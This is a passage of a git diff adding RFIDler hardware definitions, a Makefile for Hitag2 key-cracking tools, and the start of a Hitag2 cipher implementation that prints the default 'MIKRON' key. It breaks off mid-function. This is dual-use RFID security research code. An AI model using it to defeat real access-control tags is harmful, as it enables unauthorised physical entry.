grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack2/Makefile b/tools/hitag2crack/crack2/Makefile new file mode 100644 index 000000000..3ec604530 --- /dev/null +++ b/tools/hitag2crack/crack2/Makefile @@ -0,0 +1,26 @@ +WARN=-Wall +INCLUDE=-I../include +CFLAGS=-c $(WARN) $(INCLUDE) +# Linux libs +LIBS=-pthread -D_GNU_SOURCE +# Mac libs +# LIBS= + +all: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o + cc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS) + cc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS) + cc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS) + +ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h + cc $(CFLAGS) ht2crack2utils.c + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +clean: + rm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest + +fresh: clean all diff --git a/tools/hitag2crack/crack2/hitagcrypto.c b/tools/hitag2crack/crack2/hitagcrypto.c new file mode 100644 index 000000000..2334f8288 --- /dev/null +++ b/tools/hitag2crack/crack2/hitagcrypto.c @@ -0,0 +1,487 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +//#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) 